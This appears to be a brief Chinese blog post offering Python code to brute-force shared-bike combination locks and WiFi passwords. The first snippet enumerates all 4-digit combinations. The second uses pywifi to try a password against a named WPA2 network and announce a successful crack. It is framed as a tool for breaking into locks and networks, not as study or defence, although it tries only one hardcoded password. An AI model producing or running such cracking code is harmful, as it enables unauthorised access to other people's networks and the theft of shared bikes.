python 破解老式共享单车密码锁(非电子锁)或者wifi
思路:穷举方法
1 import itertools as its # https://pypi.org/project/more-itertools/ 2 3 w = '123456' 4 c = its.product(w,repeat=4) 5 num = 0 6 for i in c: 7 num += 1 8 print("第%s种密码:%s"%(num,i)) 9 print('密码输入方式一共%s种'%num)
部分截图
暴力破解WiFi
1 import pywifi 2 from pywifi import const 3 import time 4 def wificonnect(pwd): 5 wifi = pywifi.PyWiFi() 6 print(wifi) # <pywifi.wifi.PyWiFi object at 0x000000000119BF98> 7 ifaces = wifi.interfaces()[0] 8 print(ifaces.name()) # Broadcom 4313GN 802.11b/g/n 1x1 Wi-Fi 适配器 9 ifaces.disconnect() 10 time.sleep(1) 11 wifistatus = ifaces.status() 12 print(wifistatus) 13 print(const.IFACE_DISCONNECTED) 14 if wifistatus == const.IFACE_DISCONNECTED: 15 16 profile = pywifi.Profile() 17 profile.ssid = "OPPO A79" 18 profile.auth = const.AUTH_ALG_OPEN 19 profile.akm.append(const.AKM_TYPE_WPA2PSK) 20 profile.cipher = const.CIPHER_TYPE_CCMP 21 profile.key=pwd 22 ifaces.remove_all_network_profiles() 23 tep_profile = ifaces.add_network_profile(profile) 24 ifaces.connect(tep_profile) 25 time.sleep(3) 26 if ifaces.status()==const.IFACE_CONNECTED: 27 print("破解成功,密码为:%s"%pwd) 28 return True 29 else: 30 print("no破解成功") 31 return False 32 else: 33 print("已有wifi连接") 34 35 36 37 wificonnect("zdz@100.com")